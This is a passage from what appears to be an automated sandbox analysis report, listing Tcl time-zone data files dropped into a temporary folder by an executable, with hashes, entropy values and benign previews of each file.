Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.840231755053259
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx06RGFwVAIg206RAO0L2IAcGEtOFBx+IAcGE6Ru:SlSWB9IZaM3y7+SwVAIgp+iL290tO09G
MD5:	65307038DB12A7A447284DF4F3E6A3E8
SHA1:	DC28D6863986D7A158CEF239D46BE9F5033DF897
SHA-256:	3FD862C9DB2D5941DFDBA5622CC53487A7FC5039F7012B78D3EE4B58753D078D
SHA-512:	91BC29B7EC9C49D4020DC26F682D0EFBBBEE83D10D79C766A08C78D5FF04D9C0A09288D9696A378E777B65E0C2C2AC8A218C12F86C45BD6E7B5E204AE5FC2335
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Denver)]} {. LoadTimeZoneFile America/Denver.}.set TZData(:America/Shiprock) $TZData(:America/Denver).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Sitka

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.8797731776796454
Encrypted:	false
SSDEEP:	96:6G19jJps/Q7Ddh5sBPyNsSLFOMM/EowALVZVmWa86Eac8rQ:6M9jI/4h5sBPy+CMt/ElALLVuAH
MD5:	6A3014865B6330673B4F71C1617C486B
SHA1:	52334201654D421DD97D62D0C12065308E6A9D56
SHA-256:	92C6A715A1994EC61D8879A763EEF2B06FFC15876306DD6262ABBD5D3DA23CE0
SHA-512:	B957F258BDBDDA043AF2FE8D66AE6247998A7CE398A56C641FF4DEA8F70BB63652D8B223F783E82B18570E28AB11E76CB1DA2BE6648F449F9F4D745987E109D4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Sitka) {. {-9223372036854775808 53927 0 LMT}. {-3225365927 -32473 0 LMT}. {-2188954727 -28800 0 PST}. {-883584000 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-757353600 -28800 0 PST}. {-31507200 -28800 0 PST}. {-21477600 -25200 1 PDT}. {-5756400 -28800 0 PST}. {9972000 -25200 1 PDT}. {25693200 -28800 0 PST}. {41421600 -25200 1 PDT}. {57747600 -28800 0 PST}. {73476000 -25200 1 PDT}. {89197200 -28800 0 PST}. {104925600 -25200 1 PDT}. {120646800 -28800 0 PST}. {126698400 -25200 1 PDT}. {152096400 -28800 0 PST}. {162381600 -25200 1 PDT}. {183546000 -28800 0 PST}. {199274400 -25200 1 PDT}. {215600400 -28800 0 PST}. {230724000 -25200 1 PDT}. {247050000 -28800 0 PST}. {262778400 -25200 1 PDT}. {278499600 -28800 0 PST}. {294228000 -25200 1 PDT}. {309949200 -28800 0 PST}. {325677600 -

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\St_Barthelemy

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.905980413237828
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290txP90e/:MBaIMY9QpI2907P90O
MD5:	B6E45D20EB8CC73A77B9A75578E5C246
SHA1:	19C6BB6ED12B6943CF7BDFFE4C8A8D72DB491E44
SHA-256:	31E60EAC8ABFA8D3DAD501D3BCDCA7C4DB7031B65ADDA24EC11A6DEE1E3D14C3
SHA-512:	C0F3BF8D106E77C1000E45D0A6C8E7C05B7B97EFA2EECCA45FEF48EB42FBDD5336FD551C794064EADFB6919A12813FF66B2F95722877432B4A48B1FBA6C5409D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/St_Barthelemy) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\St_Johns

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10917
Entropy (8bit):	3.7872036312069963
Encrypted:	false
SSDEEP:	192:Vvprjhbvd8mSGu9EnkBVAZK2GrbrvZeuqpNFT:Vvbvd7SGu9lzoVpDT
MD5:	F87531D6DC9AAFB2B0F79248C5ADA772
SHA1:	E14C52B0F564FA3A3536B7576A2B27D4738CA76B
SHA-256:	0439DA60D4C52F0E777431BF853D366E2B5D89275505201080954D88F6CA9478
SHA-512:	5B43CE25D970EEEFD09865D89137388BD879C599191DE8ACE37DA657C142B6DF63143DBF9DED7659CBD5E45BAB699E2A3AFDD28C76A7CB2F300EBD9B74CDA59D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/St_Johns) {. {-9223372036854775808 -12652 0 LMT}. {-2713897748 -12652 0 NST}. {-1664130548 -9052 1 NDT}. {-1650137348 -12652 0 NST}. {-1640982548 -12652 0 NST}. {-1632076148 -9052 1 NDT}. {-1615145348 -12652 0 NST}. {-1609446548 -12652 0 NST}. {-1598650148 -9052 1 NDT}. {-1590100148 -12652 0 NST}. {-1567286948 -9052 1 NDT}. {-1551565748 -12652 0 NST}. {-1535837348 -9052 1 NDT}. {-1520116148 -12652 0 NST}. {-1503782948 -9052 1 NDT}. {-1488666548 -12652 0 NST}. {-1472333348 -9052 1 NDT}. {-1457216948 -12652 0 NST}. {-1440883748 -9052 1 NDT}. {-1425767348 -12652 0 NST}. {-1409434148 -9052 1 NDT}. {-1394317748 -12652 0 NST}. {-1377984548 -9052 1 NDT}. {-1362263348 -12652 0 NST}. {-1346534948 -9052 1 NDT}. {-1330813748 -12652 0 NST}. {-1314480548 -9052 1 NDT}. {-1299364148 -12652 0 NST}. {-1283030948 -9052 1 NDT}. {-1267914548 -12652 0 NS

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\St_Kitts

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	4.878034750755565
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290tMp490e/:MBaIMY9QpI290g490O
MD5:	B149DC2A23F741BA943E5511E35370D3
SHA1:	3C8D3CFDB329B7ECB90C19D3EB3DE6F33A063ADD
SHA-256:	36046A74F6BB23EA8EABA25AD3B93241EBB509EF1821CC4BEC860489F5EC6DCA
SHA-512:	CEB38EC2405A3B0A4E09CDD2D69A11884CCB28DA0FD7CF8B344E1472642A0571674D3ED33C639E745DDEEE741E52B0948B86DFFFD324BB07A9F1A6B9F38F898E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/St_Kitts) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\St_Lucia

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	4.89157166321909
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0uPXoFVAIg20uPXhF2IAcGEtkS+IAcGEuPX/:SlSWB9IZaM3y7eoFVAIgpeX290tY90e/
MD5:	7B7FCA150465F48FAC9F392C079B6376
SHA1:	1B501288CC00E8B90A2FAD82619B49A9DDBE4475
SHA-256:	87203A4BF42B549FEBF467CC51E8BCAE01BE1A44C193BED7E2D697B1C3D268C9
SHA-512:	5E4F7EE08493547A012144884586D45020D83B5838254C257FD341B8B6D3F9E279013D068EFC7D6DF7569DDD20122B3B23E9C93A0017FB64E941A50311ED1F18
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/St_Lucia) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\St_Thomas

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	204
Entropy (8bit):	4.888871207225013
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290tXIMFJ490e/:MBaIMY9QpI290tJ490O
MD5:	7E272CE31D788C2556FF7421F6832314
SHA1:	A7D89A1A9AC2B61D98690126D1E4C1595E160C8F
SHA-256:	F0E10D45C929477A803085B2D4CE02EE31FD1DB24855836D02861AD246BC34D9
SHA-512:	CCDF0B1B5971B77F6FA27F25900DB1AB9A4A4C69E15DCDF4EA35E1E1FC31AAD957C2E5862B411B0155BB1E25E2DD417A89168295317B1E603DA59142D76CE80A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/St_Thomas) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\St_Vincent

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	205
Entropy (8bit):	4.876306758637305
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290tzb+Q90e/:MBaIMY9QpI290xyQ90O
MD5:	52DAAF1636B5B70E0BA2015E9F322A74
SHA1:	4BD05207601CF6DB467C27052EBB25C9A64DAC96
SHA-256:	A5B3687BBA1D14D52599CB355BA5F4399632BF98DF4CEB258F9C479B1EA73586
SHA-512:	E3DE0447236F6EA24D173CCB46EA1A4A31B5FFBCE2A442CD542DA8C54DAD22391FD1CA301776C0FB07CBCF256FC708E61B7BBA682C02EEBE03BECCEA2B6D3BD0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/St_Vincent) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Swift_Current

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	845
Entropy (8bit):	4.182525430299964
Encrypted:	false
SSDEEP:	24:cQce7eUFLxsOCX+FmFyyFDVFdPFxFZA8uFZYV:5NecLGO+6yZzXDZA8KZG
MD5:	1502A6DD85B55B9619E42D1E08C09738
SHA1:	70FF58E29CCDB53ABABA7EBD449A9B34AC152AA6
SHA-256:	54E541D1F410AFF34CE898BBB6C7CC945B66DFC9D7C4E986BD9514D14560CC6F
SHA-512:	99F0EFF9F2DA4CDD6AB508BB85002F38B01BDFDE0CBA1EB2F4B5CA8EAD8AAB645A3C26BECF777DE49574111B37F847EFF9320331AC07E84C8E892B688B01D36B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Swift_Current) {. {-9223372036854775808 -25880 0 LMT}. {-2030201320 -25200 0 MST}. {-1632063600 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-747241200 -21600 0 MDT}. {-732729600 -25200 0 MST}. {-715791600 -21600 1 MDT}. {-702489600 -25200 0 MST}. {-684342000 -21600 1 MDT}. {-671040000 -25200 0 MST}. {-652892400 -21600 1 MDT}. {-639590400 -25200 0 MST}. {-631126800 -25200 0 MST}. {-400086000 -21600 1 MDT}. {-384364800 -25200 0 MST}. {-337186800 -21600 1 MDT}. {-321465600 -25200 0 MST}. {-305737200 -21600 1 MDT}. {-292435200 -25200 0 MST}. {-273682800 -21600 1 MDT}. {-260985600 -25200 0 MST}. {73472400 -21600 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Tegucigalpa

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	4.580220354026118
Encrypted:	false
SSDEEP:	6:SlSWB9X5290Em2OHskeRbV1UcgdrV/uFn/acD3/uFn/sb9/uFn/yn:MBp5290EmdHsVH1UDB/uFn/z/uFn/k/N
MD5:	004588073FADF67C3167FF007759BCEA
SHA1:	64A6344776A95E357071D4FC65F71673382DAF9D
SHA-256:	55C18EA96D3BA8FD9E8C4F01D4713EC133ACCD2C917EC02FD5E74A4E0089BFBF
SHA-512:	ADC834C393C5A3A7BFD86A933E7C7F594AC970A3BD1E38110467A278DC4266D81C3E96394C102E565F05DE7FBBDA623C673597E19BEC1EA26AB12E4354991066
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Tegucigalpa) {. {-9223372036854775808 -20932 0 LMT}. {-1538503868 -21600 0 CST}. {547020000 -18000 1 CDT}. {559717200 -21600 0 CST}. {578469600 -18000 1 CDT}. {591166800 -21600 0 CST}. {1146981600 -18000 1 CDT}. {1154926800 -21600 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Thule

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6666
Entropy (8bit):	3.7481713130223295
Encrypted:	false
SSDEEP:	192:pJunToVmM7IEc2fVGYu2yeB/T/eleWmBk81kS/kV6kef4zjyvUP/ZbJitpJxSIRj:pAWJv
MD5:	8FFE81344C31A51489A254DE97E83C3E
SHA1:	4397D9EDAC304668D95921EF03DFD90F967E772F
SHA-256:	EF6AF4A3FA500618B37AF3CDD40C475E54347D7510274051006312A42C79F20C
SHA-512:	F34A6D44499DE5A4E328A8EAFBA5E77B1B8C04A843160D74978398F1545C821C3034FCBD5ADBFAD8D14D1688907C57E7570023ABD3096D4E4C19E3D3C04428B3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Thule) {. {-9223372036854775808 -16508 0 LMT}. {-1686079492 -14400 0 AST}. {670399200 -10800 1 ADT}. {686120400 -14400 0 AST}. {701848800 -10800 1 ADT}. {717570000 -14400 0 AST}. {733903200 -10800 1 ADT}. {752043600 -14400 0 AST}. {765352800 -10800 1 ADT}. {783493200 -14400 0 AST}. {796802400 -10800 1 ADT}. {814942800 -14400 0 AST}. {828856800 -10800 1 ADT}. {846392400 -14400 0 AST}. {860306400 -10800 1 ADT}. {877842000 -14400 0 AST}. {891756000 -10800 1 ADT}. {909291600 -14400 0 AST}. {923205600 -10800 1 ADT}. {941346000 -14400 0 AST}. {954655200 -10800 1 ADT}. {972795600 -14400 0 AST}. {986104800 -10800 1 ADT}. {1004245200 -14400 0 AST}. {1018159200 -10800 1 ADT}. {1035694800 -14400 0 AST}. {1049608800 -10800 1 ADT}. {1067144400 -14400 0 AST}. {1081058400 -10800 1 ADT}. {1099198800 -14400 0 AST}. {1112508000 -10800 1 ADT}. {1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Thunder_Bay

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8058
Entropy (8bit):	3.7473289441354263
Encrypted:	false
SSDEEP:	96:hePraC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:hirrn+qvOTFhPI1jFIL
MD5:	CE6E17F16AA8BAD3D9DB8BD2E61A6406
SHA1:	7DF466E7BB5EDD8E1CDF0ADC8740248EF31ECB15
SHA-256:	E29F83A875E2E59EC99A836EC9203D5ABC2355D6BD4683A5AEAF31074928D572
SHA-512:	833300D17B7767DE74E6F2757513058FF5B25A9E7A04AB97BBBFFAC5D9ADCC43366A5737308894266A056382D2589D0778EEDD85D56B0F336C84054AB05F1079
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Thunder_Bay) {. {-9223372036854775808 -21420 0 LMT}. {-2366733780 -21600 0 CST}. {-1893434400 -18000 0 EST}. {-883594800 -18000 0 EST}. {-880218000 -14400 1 EWT}. {-769395600 -14400 1 EPT}. {-765396000 -18000 0 EST}. {18000 -18000 0 EST}. {9961200 -14400 1 EDT}. {25682400 -18000 0 EST}. {41410800 -14400 1 EDT}. {57736800 -18000 0 EST}. {73465200 -14400 1 EDT}. {89186400 -18000 0 EST}. {94712400 -18000 0 EST}. {126248400 -18000 0 EST}. {136364400 -14400 1 EDT}. {152085600 -18000 0 EST}. {167814000 -14400 1 EDT}. {183535200 -18000 0 EST}. {199263600 -14400 1 EDT}. {215589600 -18000 0 EST}. {230713200 -14400 1 EDT}. {247039200 -18000 0 EST}. {262767600 -14400 1 EDT}. {278488800 -18000 0 EST}. {294217200 -14400 1 EDT}. {309938400 -18000 0 EST}. {325666800 -14400 1 EDT}. {341388000 -18000 0 EST}. {357116400 -14400 1 EDT}. {372837600

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Tijuana

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8470
Entropy (8bit):	3.7667993951223955
Encrypted:	false
SSDEEP:	96:mb4I5mC2ZCAFBWsBNwj/lpmlOxGcKcnRH31t+ucgge:y5DaYaNwj/lpmlOxnKcndIG
MD5:	F993E030963356E9BABBAB56F68C8B2F
SHA1:	779A79ACFCA2BA0E81A00E65D9CE0E6A2C0C5C18
SHA-256:	937C3B2FE7DA094E755AFB8CE9E97CF512E50C4F2086740BB57A77F0EA2BEC3E
SHA-512:	11F2F0FF2629EF30F61C8681BB28415F594A0CFD1930770B4F71C1E69AA615B25BDE5D9CCB167183F66C52BB921408847D6FEF9A4EB3951C8E1BC3577E33CB0B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Tijuana) {. {-9223372036854775808 -28084 0 LMT}. {-1514736000 -25200 0 MST}. {-1451667600 -28800 0 PST}. {-1343062800 -25200 0 MST}. {-1234803600 -28800 0 PST}. {-1222963200 -25200 1 PDT}. {-1207242000 -28800 0 PST}. {-873820800 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-761677200 -28800 0 PST}. {-686073600 -25200 1 PDT}. {-661539600 -28800 0 PST}. {-504892800 -28800 0 PST}. {-495036000 -25200 1 PDT}. {-481734000 -28800 0 PST}. {-463586400 -25200 1 PDT}. {-450284400 -28800 0 PST}. {-431532000 -25200 1 PDT}. {-418230000 -28800 0 PST}. {-400082400 -25200 1 PDT}. {-386780400 -28800 0 PST}. {-368632800 -25200 1 PDT}. {-355330800 -28800 0 PST}. {-337183200 -25200 1 PDT}. {-323881200 -28800 0 PST}. {-305733600 -25200 1 PDT}. {-292431600 -28800 0 PST}. {-283968000 -28800 0 PST}. {189331200 -28800 0 PST}. {199274400 -25200 1 PDT}. {21560

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Toronto

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10883
Entropy (8bit):	3.7202964099536917
Encrypted:	false
SSDEEP:	96:9wUYG1dbgZ8UMrEUWraC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:9wS1dbgZ8UMrVWrrn+qvOTFhPI1jFIL
MD5:	9C60AFDFA3BA2002BA68673B778194CF
SHA1:	D6D17C82AEC4B85BA7B0F6FCB36A7582CA26A82B
SHA-256:	7744DB6EFE39D636F1C88F8325ED3EB6BF8FA615F52A60333A58BCE579983E87
SHA-512:	3C793BB00725CF37474683EAB70A0F2B2ACAE1656402CDD7E75182988DC20361A8651A624A5220983E3E05333B9817DCBEAF20D34BD55C5128F55474A02A9455
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Toronto) {. {-9223372036854775808 -19052 0 LMT}. {-2366736148 -18000 0 EST}. {-1632070800 -14400 1 EDT}. {-1615140000 -18000 0 EST}. {-1609441200 -18000 0 EST}. {-1601753400 -14400 1 EDT}. {-1583697600 -18000 0 EST}. {-1567357200 -14400 1 EDT}. {-1554667200 -18000 0 EST}. {-1534698000 -14400 1 EDT}. {-1524074400 -18000 0 EST}. {-1503248400 -14400 1 EDT}. {-1492365600 -18000 0 EST}. {-1471798800 -14400 1 EDT}. {-1460916000 -18000 0 EST}. {-1440954000 -14400 1 EDT}. {-1428861600 -18000 0 EST}. {-1409504400 -14400 1 EDT}. {-1397412000 -18000 0 EST}. {-1378054800 -14400 1 EDT}. {-1365962400 -18000 0 EST}. {-1346605200 -14400 1 EDT}. {-1333908000 -18000 0 EST}. {-1315155600 -14400 1 EDT}. {-1301853600 -18000 0 EST}. {-1283706000 -14400 1 EDT}. {-1270404000 -18000 0 EST}. {-1252256400 -14400 1 EDT}. {-1238954400 -18000 0 EST}. {-1220806800

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Tortola

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.854311472609309
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290RRKl290e/:MBaIMY9QpI290V90O
MD5:	B931564D937C807282F1432FF6EA52A6
SHA1:	7ECA025D97717EEA7C91B5390122D3A47A25CAD0
SHA-256:	FF5CF153C4EC65E7E57A608A481F12939B6E4ACC8D62C5B01FEB5A04769A6F07
SHA-512:	97271500C7D7959B90A6AC0A98D5D0D29DA00E92F9FC973594267DF906DEE767243698DBA2F3A0CF00156E949E29CDDD45A151F263583514090717CFDF1FB4DD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Tortola) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Vancouver

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9495
Entropy (8bit):	3.7630000632404426
Encrypted:	false
SSDEEP:	192:2f7f/5LB6xi9C7Nf+aNwj/lpmlOxnKcndIG:2f735LB6xi9cfefnK6
MD5:	1ACC41DA124C0CA5E67432760FDC91EC
SHA1:	13F56C3F53076E0027BB8C5814EC81256A37F4AF
SHA-256:	DFC19B5231F6A0AB9E9B971574FB612695A425A3B290699DF2819D46F1250DB0
SHA-512:	2F2E358F5743248DE946B90877EFCCCACAF039956249F17D24B7DA026830A181A125045E2C8937A6ACD674E32887049F2D36A1941F09803DF514ADCDA4055CC5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Vancouver) {. {-9223372036854775808 -29548 0 LMT}. {-2713880852 -28800 0 PST}. {-1632060000 -25200 1 PDT}. {-1615129200 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-747237600 -25200 1 PDT}. {-732726000 -28800 0 PST}. {-715788000 -25200 1 PDT}. {-702486000 -28800 0 PST}. {-684338400 -25200 1 PDT}. {-671036400 -28800 0 PST}. {-652888800 -25200 1 PDT}. {-639586800 -28800 0 PST}. {-620834400 -25200 1 PDT}. {-608137200 -28800 0 PST}. {-589384800 -25200 1 PDT}. {-576082800 -28800 0 PST}. {-557935200 -25200 1 PDT}. {-544633200 -28800 0 PST}. {-526485600 -25200 1 PDT}. {-513183600 -28800 0 PST}. {-495036000 -25200 1 PDT}. {-481734000 -28800 0 PST}. {-463586400 -25200 1 PDT}. {-450284400 -28800 0 PST}. {-431532000 -25200 1 PDT}. {-418230000 -28800 0 PST}. {-400082400 -25200 1 PDT}. {-386

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Virgin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	201
Entropy (8bit):	4.901732290886438
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290RXgr490e/:MBaIMY9QpI290xg090O
MD5:	DEB77B4016D310DFB38E6587190886FB
SHA1:	B308A2D187C153D3ED821B205A4F2D0F73DA94B0
SHA-256:	A6B8CFE8B9381EC61EAB553CFA2A815F93BBB224A6C79D74C08AC54BE4B8413B
SHA-512:	04A0D598A24C0F3A1881D3412352F65C610F75281CC512B46248847A798A12AEA551E3DE9EA3FD5BB6B3687A0BB65746392F301F72746876D30697D66B3A3604
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Virgin) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Whitehorse

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7613
Entropy (8bit):	3.789738507183991
Encrypted:	false
SSDEEP:	96:hmD+C2ZCHtffWsBNwj/lpmlOxGcKcnRH31t+ucgge:hm3Nf+aNwj/lpmlOxnKcndIG
MD5:	CBCFD98E08FCCEB580F66AFE8E670AF5
SHA1:	7E922CCD99CD7758709205E4C9210A2F09F09800
SHA-256:	72992080AA9911184746633C7D6E47570255EE85CC6FE5E843F62331025B2A61
SHA-512:	18290654E5330186B739DEDBC7D6860FD017D089DAE19E480F868E1FB56A3CF2E685D0099C4CF1D4F2AE5F36D0B72ABE52FBAC29AD4F6AB8A45C4C420D90E2D5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Whitehorse) {. {-9223372036854775808 -32412 0 LMT}. {-2188997988 -32400 0 YST}. {-1632056400 -28800 1 YDT}. {-1615125600 -32400 0 YST}. {-1596978000 -28800 1 YDT}. {-1583164800 -32400 0 YST}. {-880203600 -28800 1 YWT}. {-769395600 -28800 1 YPT}. {-765381600 -32400 0 YST}. {-147884400 -25200 1 YDDT}. {-131554800 -32400 0 YST}. {315561600 -28800 0 PST}. {325677600 -25200 1 PDT}. {341398800 -28800 0 PST}. {357127200 -25200 1 PDT}. {372848400 -28800 0 PST}. {388576800 -25200 1 PDT}. {404902800 -28800 0 PST}. {420026400 -25200 1 PDT}. {436352400 -28800 0 PST}. {452080800 -25200 1 PDT}. {467802000 -28800 0 PST}. {483530400 -25200 1 PDT}. {499251600 -28800 0 PST}. {514980000 -25200 1 PDT}. {530701200 -28800 0 PST}. {544615200 -25200 1 PDT}. {562150800 -28800 0 PST}. {576064800 -25200 1 PDT}. {594205200 -28800 0 PST}. {607514400 -25200 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Winnipeg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9379
Entropy (8bit):	3.7354364023000937
Encrypted:	false
SSDEEP:	192:t7K22m2eQ7SRWu3O559BxXWDpws1dwVyUAitGeZiSI0PMnp4ozDCM9LfLPix3QWZ:t7K22m2eQ7Swu3O559BxXWDpws1dwVyU
MD5:	F6B8A2DA74DC3429EC1FAF7A38CB0361
SHA1:	1651AD179DB98C9755CDF17FBFC29EF35DE7F588
SHA-256:	FEAA62063316C8F4AD5FABBF5F2A7DD21812B6658FEC40893657E909DE605317
SHA-512:	46C61EFF429075A77C01AF1C02FD6136529237B30B7F06795BCEE26CDB75DDAB2D418283CD95C9A0140D1510E02F393F0A7E9414C99D1B31301AE213BAF50681
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Winnipeg) {. {-9223372036854775808 -23316 0 LMT}. {-2602258284 -21600 0 CST}. {-1694368800 -18000 1 CDT}. {-1681671600 -21600 0 CST}. {-1632067200 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1029686400 -18000 1 CDT}. {-1018198800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-746035200 -18000 1 CDT}. {-732733200 -21600 0 CST}. {-715795200 -18000 1 CDT}. {-702493200 -21600 0 CST}. {-684345600 -18000 1 CDT}. {-671043600 -21600 0 CST}. {-652896000 -18000 1 CDT}. {-639594000 -21600 0 CST}. {-620755200 -18000 1 CDT}. {-607626000 -21600 0 CST}. {-589392000 -18000 1 CDT}. {-576090000 -21600 0 CST}. {-557942400 -18000 1 CDT}. {-544640400 -21600 0 CST}. {-526492800 -18000 1 CDT}. {-513190800 -21600 0 CST}. {-495043200 -18000 1 CDT}. {-481741200 -21600 0 CST}. {-463593600 -18000 1 CDT}. {-

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Yakutat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8407
Entropy (8bit):	3.877915398499678
Encrypted:	false
